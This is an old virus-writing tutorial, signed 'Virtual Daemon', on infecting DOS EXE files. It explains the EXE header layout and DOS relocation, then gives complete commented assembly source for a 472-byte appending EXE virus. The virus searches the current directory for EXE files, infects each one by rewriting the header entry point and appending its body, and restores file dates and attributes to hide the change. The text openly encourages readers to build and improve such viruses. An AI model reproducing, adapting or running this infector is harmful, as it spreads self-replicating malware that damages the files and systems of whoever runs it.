ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Direct EXE infection tutorial ³ ³ by Virtual Daemon ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, here we go again... ;) This time, with something more "advanced"! :P Now that U've seen how a direct COM virus works, it's time to check out on the other friend of the programmer: the EXE file. Again, I must tell ya that the informations provided in this tutorial are only for the beginners corner, so if U have already made a simple EXE infector, I don't see the point for U to hang around here anymore... Go away and do somethin more usefull... Clean the house, cook dinner, drink a beer, go to a movie, or whatever U feel like doin now, but please .... GO! :) Ok. Since U're still here, I imagine that U don't know what the hell is an EXE file, how it works and how to infect it... Well relax, bcoz this little tutorial will do the trick for U. I'll try to keep it as simple as I can, and I'll make sure that U will get all this crap. So, hold on in there bcoz U aint goin nowhere till U get this... :) First of all, you need to know what is a EXE program, how it works, and what is it's structure. I wont give you too much technical shit, bcoz U wont understand it anyway. Don't worry it will come to you later, after you work on it for a while. Well, in my previous tutorial (Direct COM infections) I told you that COM files are the simplest binary programs, also called memory images. Due to the restriction of its size (max 64K=size of a segment), the COM programs aren't used so more this days... The programmer is trying to develop a good software or a large application and that takes some space. So, here begins our little trip to the EXEland... :) COM programs are still used for small, tiny aplications or utilities, but the true power of a program lies in a EXE file. "So, how can a EXE program be so different from a COM one?", you wonder... Well, the main advantage of the EXE program is that it's size isn't limited to 64k. That means that a EXE program can have any size U want it to have... The only thing that will stop you is your RAM or your HD! Anyway, a program bigger than 64k can't be loaded and executed in a single segment anymore! Well, this is the most important feature of an EXE file: it can have more then one segment. So, from now on, U wont be forced to erase parts of your application, or destroy some of your variables just bcoz you can't put all your stuff in those 64k and these limits will stop ya... :) Well, now U know that the EXE files may make use of multiple segments for code, stack, and data. The design of the EXE file reflects the segmented design of the Intel 80x86 CPU architecture. Another important thing would be that a EXE program can be loaded in any memory location. This fact impose the adjustement of all your instructions that contains segment addresses, like: þ JMP/CALL FAR PTR name þ MOV reg, SEG name þ MOV reg_seg, value This process is called "relocation" and it's executed when the program loads in memory. Anyway, this isn't so important for you right now... ;) Well, it is *ABSOLUTELY* obvious that an EXE program must contain, besides your program (code) some technical informations about the relocable simbols, the start address, the address of the stack segment, etc. This informations are stored in the first part of your EXE file, part called "the EXE header". So, a EXE file is separated in 2 parts: the header and the real program. Now that you know all this, let's see how does the EXE header looks like: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Offset ³ Size ³ Contents ³ Description ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ù 0h ³ Word ³ 4Dh 5Ah ³ EXE signature (4Dh='M' and 5Ah='Z').These ³ ³ ³ ³ ³ 2 ASCII letters (M and Z) stand for Mark ³ ³ ³ ³ ³ Zbikowski, one of the major DOS coders at ³ ³ ³ ³ ³ Microsoft. Note: in some cases the MZ can ³ ³ ³ ³ ³ be replaced with ZM (5Ah 4Dh) ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 2h ³ Word ³ PartPag ³ Length of file mod (modulo) 512 ³ ³ ³ ³ ³length mod 512=nr of bytes in the last page³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 4h ³ Word ³ PageCnt ³ Size of the file in 512 byte pages ³ ³ ³ ³ ³ including the header. If the last page is ³ ³ ³ ³ ³ not full it is still included in the count³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 6h ³ Word ³ ReloCnt ³ Number of items in relocation table ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 8h ³ Word ³ HdrSize ³ Size of the header in 16-byte paragraphs. ³ ³ ³ ³ ³ This is used to locate the beginning of ³ ³ ³ ³ ³ the real program (load module) in the file³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 0Ah ³ Word ³ MinMem ³ Minimum memory required above the end of ³ ³ ³ ³ ³ the loaded program in 16-byte paragraphs. ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 0Ch ³ Word ³ MaxMem ³ Maximum memory required above the end of ³ ³ ³ ³ ³ the loaded program in 16-byte paragraphs. ³ ³ ³ ³ ³ If the minimum and maximum number of ³ ³ ³ ³ ³ paragraphs are both zero, the program will³ ³ ³ ³ ³ be loaded as high in memory as possible. ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 0Eh ³ Word ³ ReloSS ³ Segment offset of stack segment.(Used for ³ ³ ³ ³ ³ setting the SS register) ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 10h ³ Word ³ ExeSP ³ Value for SP register (stack pointer) when³ ³ ³ ³ ³ the program is started. ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ù 12h ³ Word ³ Checksum ³ Negative sum of all the words in the file ³ ³ ³ ³ ³ ignoring overflow. Good place to store ³ ³ ³ ³ ³ the ID bytes of your virus... :) ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 14h ³ Word ³ ExeIP ³ Value for IP register (initial instruction³ ³ ³ ³ ³ pointer) when the program is started. ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³þ 16h ³ Word ³ ReloCS ³ Segment offset of code segment. (Used for ³ ³ ³ ³ ³ setting the CS register) ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ù 18h ³ Word ³ TablOff ³ File offset of the relocation table. ³ ³ ³ ³ ³ (Often set to 1Ch) ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ù 1Ah ³ Word ³ Overlay ³ Overlay marker (0 for base module). ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 1Ch ³ Byte ³ ? ³ (undocumented) Usually equal to 01h, this ³ ³ ³ ³ ³ value indicates the size of formatted ³ ³ ³ ³ ³ portion of EXE header. ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ? ³ 4*? ³ Ofs Seg ³ Relocation table. ³ ³ ³ ³ .... ³ Has [EXE+6] DWORD entries. ³ ³ ³ ³ Ofs Seg ³ ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ? ³ ? ³ ³ Filler to a paragraph boundry. ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Note: the offsets marked with 'þ'=important for our virus 'ù'=optional for our virus Ok. Why important offsets and why optional? Well, the optional offset can be used for checking different things like: - the EXE signature (MZ or ZM) can be used to check if the file you have found is really an EXE file and not just a ordinary re-named file; - the Checksum from offset 12h can be a good place to store your ID bytes (ID bytes=one or two bytes that will "mark" an infected file); - the TablOff from offset 18h can be used to check if the file is a normal DOS EXE file or if is a PE or NE file. To check this see if the TablOff is greater then 64 (40h). If it is then the EXE file is in NE or PE format and you wont be able to infect it... Important Note: all "normal" Windows EXE files have TablOff equal to '@'! - the Overlay word value located at offset 1Ah can be used to check if the file has overlays or not. To check this, compare the Overlay with 0. If equal then the file doesn't have overlays and all it's ok. If not, then the file has internal overlays (in most of the cases) and by infecting it you will destroy the informations. It will be very good if U could do some test with the EXE header, like open a bunch of EXE files and read some infos from the header (like PartPag and PageCnt) and then compare them with the real values (the real size of the file). To find the size of a file use the following formula: Size_of_File:=((PageCnt-1)*512)+PartPag The relocation table contains the addresses of all the words that needs "adjustement". The relocation table has ReloCnt elements beginning at TablOff position in the file, and it it's size is ReloCnt*4 bytes. Now that you know how the EXE files look, let's take a look at how it works. The relocation of the program is done by the DOS Exec function (4bh) and contains the following steps: 1) Create a PSP via DOS Function 26h 2) Read 1Ch bytes from the EXE file (the formatted portion of the EXE header) into a local memory area 3) Determine the load module size = ((PageCnt*512)-(HdrSize*16))-PartPag 4) Determine file offset of load module = (HdrSize*16) 5) Select a segment address START_SEG for loading (usually PSP+10h) 6) Read the load module into memory starting at START_SEG:0000 7) LSEEK (set file pointer) to the start of the relocation table (TablOff) 8) For each relocation item (ReloCnt): - read the item as two 16-bit words (I_OFF,I_SEG) - find the address of relocation ref RELO_SEG=(START_SEG+I_SEG) - read the current value, the word from address RELO_SEG:I_OFF - perform the segment fixup by adding START_SEG to that word - store the value back to its original address (RELO_SEG:I_OFF) 9) Allocate memory for the program according to MinMem and MaxMem 10) Initialize registers and execute program: - ES=DS=PSP - SS=START_SEG+ReloSS - SP=ExeSP - CS=START_SEG+ReloCS - IP=ExeIP Note: the initialization of CS and IP is done by PUSH START_SEG+ReloCS PUSH ExeIP RETF Well, I hope this covers all you wanted and have to know about EXE programs. Now let's get back to some action...;P First the theory and then the code. EXE infection isn't that different from COM infection. The main difference between the 2 types of infection is that the EXE one needs some calculations. You learned (I hope ;) how a COM virus replicates: save the 1st 3 (or more) bytes from BOF (beginning of program) in a buffer, go to the EOF (end of file) and write the virus body, build a JMP instruction with the location to the end of file (respectively our virus), then write the new JMP to BOF and finally restore control to original program (host). Well EXE infection is mostly the same shit. Aehm... here are the steps: - read the EXE header (from BOF of course ;) in a buffer (1ch bytes) - save from the EXE header some values that will be needed when we'll pass control to the original file (ReloSS, ExeSP, ExeIP and ReloCS from 0eh, 10h, 14h and 16h - respectively SS, SP, IP and CS registers) - calculate new values (offsets) for stack segment (SS) and code segment (CS), adjust the IP register (see bellow) - go to EOF and write the virus body - calculate new values for PartPag (offset 02h) and PageCnt (offset 04h) (see bellow) - go to BOF and overwrite the old header with our new copy - pass control to our host by reseting stack to original value and by setting the CS:IP to point to original entry point, and DS and ES to point to PSP. Well, like I said bfor this is just pure theory... I'll try to explain some of it now, and then we'll get to our real goal... :) I bet you are wondering what is that bullshit with "calculating new values for CS:IP"... Well, if we look a little to the EXE header we see what this values means! CS:IP=ReloCS:ExeIP ReloCS=offset of code segment... this value represents the offset of the program's code. Why are we modifying this? Well, we must make the file to jump to our virus first, right? This can't be done like we've done it with COMs, by putting a JMP to beginning of file. All we have to do on EXEs is to make the ReloCS to point to our virus instead of pointing to the real code.Then,when the virus has finished its work, we will pass control to the real program by putting back the old ReloCS value (in memory, not on disk). ExeIP=value for IP register when the program is started... But what is this IP register anyway? The IP register contains the address of the current instruction. So, we'll modify the IP register to point to our first instruction from the virus body (the entry point of our virus). This is the part with the calculation of CS and IP. The SS (stack segment) register should be equal to CS (code segment), so after you have found out the value for CS, just equal SS to it too (for calculation, see the virus). The next important thing that must be modified from the EXE header is PartPag and PageCnt. Since the file has grown in size, we must re-calculate the file size and we must overwrite offsets 2 and 4 with the new values. That's all... It's easy isn't it? Now... the virus! If you don't get something from above, now it's the chance for you to understand. Btw, this isn't the simplest EXE infector... it's just the simplest DECENT EXE infector. All the code is well commented, so you shouldn't have any problem understanding it. All the steps are directly written in the virus code... It's easier to get it this way, believe me! Well, here it is... it's not my best, but i'm sure it's hell enough for you to learn the basic EXE appender. The code is not very well optimized... well, I guess that this is ur job! :-)) Bugs? Hmm... don't know any... if there are, learn by correcting them. ;) Have fun! ---------- cut here ---------- ; Name: Example ; Type: Direct appending EXE infector ; Size: 472 bytes ; Comments: the virus will search for EXE files in current directory. If no ; filles are found, the virus will restore control to its host. If ; it founds EXEs, he will try to infect the first one. If the file ; has been already infected, he will close the file and search for ; another one. The cycle will repeat untill all the EXE filles from ; current directory are infected. ; The virus infects read-only filles and restore time/date/attributes. ; The virus will check too see if: - the file is really EXE (MZ scan) ; - the file is a Windows EXE ; - the file has internal overlays ; Assembled with: tasm example.asm ; tlink /t example.obj code segment assume cs:code,ds:code org 100h ;starts at 100h => 1st host will be a COM file virus_start: db 0e9h,3,0 ;jump to begin our_host: db 0cdh,20h,0 ;=Int 20h begin: call find_offset find_offset: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 1 - Calculate the DELTA offset ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop bp ;bp holds IP at start sub bp,offset find_offset ;=>bp=delta offset push ds es ;save original DS and ES push cs pop ds ;CS=DS ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 2 - Save parts of the header on stack ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; _cs is the offset used by our JMP instruction to return to the host ; exe_cs is the original CS register mov ax,word ptr [bp+exe_cs] ;equal _cs with exe_cs mov word ptr [bp+_cs],ax ;save CS:IP and SS:SP on stack push [bp+exe_cs] ;save CS push [bp+exe_ip] ;save IP push [bp+exe_ss] ;save SS push [bp+exe_sp] ;save SP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 3 - Set a new DTA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,1ah ;DOS function=Set Disk Transfer Address lea dx,[bp+offset dta] ;set a new DTA buffer int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 4 - Find a EXE file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,4eh ;DOS function=Find 1st Matching File lea dx,[bp+filespec] ;search for "filespec" files only (*.EXE) mov cx,7 ;any file attribute do_it: int 21h jnc next_step ;if no error, continue jmp exit ;if error then pass control to host next_step: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 5 - Get file attributes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,4300h ;DOS function=Get File Attributes lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh) int 21h mov word ptr [bp+file_attr],cx ;save the file attributes ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 6 - Set new attributes (archive only) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,4301h ;DOS function=Set File Attributes lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh) xor cx,cx ;set archive only attributes int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 7 - Open file for RW (read-write) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,3d02h ;DOS function=Open File For Read-Write lea dx,[bp+offset dta+1eh] ;get file name from DTA (offset 1eh) int 21h jnc continue ;if no error, continue jmp abort ;if error put old attributes and search for ;another file continue: xchg bx,ax ;put file handle in bx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 8 - Get file time/date ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,5700h ;DOS function=Get File Time/Date int 21h mov word ptr [bp+file_time],cx ;save file time mov word ptr [bp+file_date],dx ;save file date ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 9 - Read the Exe header ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,3fh ;DOS function=Read From File mov cx,1ch ;read the EXE header (1ch bytes) lea dx,[bp+offset header] ;store it into our 'header' buffer int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 10 - Check if the file is a real EXE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+header],'ZM' ;check if the 1st 2 bytes are MZ or ZM je infect cmp word ptr [bp+header],'MZ' je infect jmp another ;if not equal then the file isn't a real EXE ;it's just a re-named file infect: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 11 - Check if the file is already infected ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+header+10h],'DV' ;check for our ID bytes jne done jmp another ;if equal then the file has already been ;infected done: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 12 - Check if the file is a Windows EXE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Note: you could also check for NE or PE by comparing if greater then 64 cmp byte ptr [bp+header+18h],'@' ;check to see if the file is a WinEXE jne no_win jmp another ;oups... WinEXE here. We can't infect it this ;way... no_win: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 13 - Check if the file has internal overlays ÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+header+1ah],0 ;check for internal overlays je no_overlay jmp another no_overlay: push bx ;save file handle ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 14 - Save important parts from the header ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,word ptr [bp+header+0eh] ;save SS mov word ptr [bp+exe_ss],ax mov ax,word ptr [bp+header+10h] ;save SP mov word ptr [bp+exe_sp],ax mov ax,word ptr [bp+header+14h] ;save IP mov word ptr [bp+exe_ip],ax mov ax,word ptr [bp+header+16h] ;save CS mov word ptr [bp+exe_cs],ax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 15 - Seek to EOF (end of file) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,4202h ;DOS function=Set File Pointer (Seek) to EOF xor cx,cx cwd int 21h push ax dx ;ax and dx holds the file size ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 16 - Calculate the new CS:IP address ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; Short theory ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; ; We need to get the size of the EXE header in paras. Then we have to convert ; it into bytes (by multiplying with 16). After this, we have to substract the ; header size from the file size, and then to put it back into the seg:ofs form. ; We accomplish this by divideing with 16. ; mov bx,word ptr [bp+header+8h] ;get the size of the header in para ;a paragraph is 16 bytes and we need the size in bytes, so we multiply by 16 mov cl,4 shl bx,cl ;shl will rotate the bits to left with 4 ;positions. this is the same result as ;multiplying with 16. ;now, BX is equal to length of header in bytes ;AX holds the filesize (low word) sub ax,bx ;now we substract the size of the header from ;the size of the file sbb dx,0 ;if CF is set it will substract 1, else 0 ;now, DX:AX will contain the file size-the size of the header ;we must convert the DX:AX to segment:offset form because now it's just a value ;for converting to segment:offset we must divide by 16 (it's obvious why...we ;multiplyed by 16 when we had to trasform into bytes... now we're going back) mov cx,10h ;cx=10h=16 div cx ;divide by 16 ; AX=(DX:AX) / 16 ; DX=(DX:AX) mod 16 ;now, the DX:AX contains the CS:IP entry point (stored backwards - IP:CS) ;save the new CS:IP in the header buffer. also save the SS and put our ID bytes. mov word ptr [bp+header+14h],dx ;put the offset (ExeIP)=new entry point mov word ptr [bp+header+16h],ax ;put the segment offset of code seg mov word ptr [bp+header+0eh],ax ;put the segment offset of stack seg mov word ptr [bp+header+10h],'DV' ;put our ID bytes at 10h ; blah... you could use 12h (ChkSum) instead of 10h... pop dx ax bx ;restore original file size and file handle ; ÄÄÄÄÄÄÄÄÄÄ Step 17 - Calculate new values for PartPag and PageCnt ÄÄÄÄÄÄÄÄÄÄÄ ; ; Short theory ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This one is simple. All we have to do, is to add the size of our virus ; to the size of the file, and then to convert it into pages by divideing with ; 512. ; ; AX and DX holds the file size add ax,heap-begin ;add the virus size to the original file size adc dx,0 ;if CF add 1, else 0 mov cx,512 ;convert the result into pages by divideing div cx ;with 512 inc ax ;add one for rounding up mov word ptr [bp+header+4],ax ;put new PageCnt mov word ptr [bp+header+2],dx ;put new PartPag ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 18 - Write the virus body to EOF ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,40h ;DOS function=Write To File mov cx,heap-begin ;cs=size to write=size of our virus lea dx,[bp+offset begin] ;start from "begin" int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 19 - Seek to BOF (beginning of file) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,4200h ;DOS function=Set File Pointer (Seek) to BOF xor cx,cx cwd int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 20 - Write the new header ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,40h ;DOS function=Write To File mov cx,1ch ;cx=size to write=size of the EXE header lea dx,[bp+offset header] ;write from "header" buffer int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 21 - Restore original file time/date ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov dx,word ptr [bp+file_date] ;dx=original date value mov cx,word ptr [bp+file_time] ;cx=original time value mov ax,5701h ;DOS function=Set File Time/Date int 21h another: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 22 - Close the file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,3eh ;DOS function=Close File int 21h abort: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 23 - Restore original attributes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,4301h ;DOS function=Set File Attributes lea dx,[bp+offset dta+1eh] ;get file name from DTA mov cx,word ptr [bp+file_attr] ;restore original attributes int 21h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 24 - Search for a new EXE file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,4fh ;DOS funtion=Find Next Matching File lea dx,[bp+filespec] ;search for "filespec" files only (*.EXE) jmp do_it exit: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 25 - Restore parts of the header from stack ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;restore CS:IP and SS:SP from stack pop [bp+exe_sp] ;restore SP pop [bp+exe_ss] ;restore SS pop [bp+exe_ip] ;restore IP pop [bp+exe_cs] ;restore CS ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 26 - Restore the DTA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,1ah ;DOS function=Set Disk Transfer Address mov dx,80h ;change the DTA to original (DTA is stored at 80h in the PSP) int 21h pop es ds ;restore ES and DS registers ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Step 27 - Restore control to the host ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,es ;ax will point to PSP add ax,10h ;skip over PSP (ax<-PSP+10h) add word ptr cs:[bp+_cs],ax ; _ip is one of the offsets for our jump to return to the host ; see step 2 for setting CS mov bx,word ptr cs:[bp+exe_ip] ;make _ip equal with exe_ip mov word ptr cs:[bp+_ip],bx cli ;clear interrupt flag mov sp,word ptr cs:[bp+exe_sp] ;adjust ExeSP add ax,word ptr cs:[bp+exe_ss] ;restore the stack mov ss,ax ;adjust ReloSS sti ;set interrupt flag xor ax,ax ;clear registers: ax,bx,cx,dx,si,di xor bx,bx xor cx,cx xor dx,dx xor di,di xor si,si xor bp,bp db 0eah ;jmp far ptr seg:ofs (CS:IP) _ip dw 0 ;IP and CS registers used as offset for _cs dw 0 ;db 0eah (JMP) instruction ;these are the original values for CS:IP and SS:SP exe_cs dw 0fff0h ;CS:IP exe_ip dw 0 exe_sp dw 0 ;SS:SP exe_ss dw 0 filespec db '*.exe',0 heap: ;this is the end of the virus file_attr dw ? file_time dw ? file_date dw ? header db 1ch dup (?) dta db 43 dup (?) code ends end virus_start ---------- cut here ---------- You can reach me via e-mail at: virtual_daemon@hotmail.com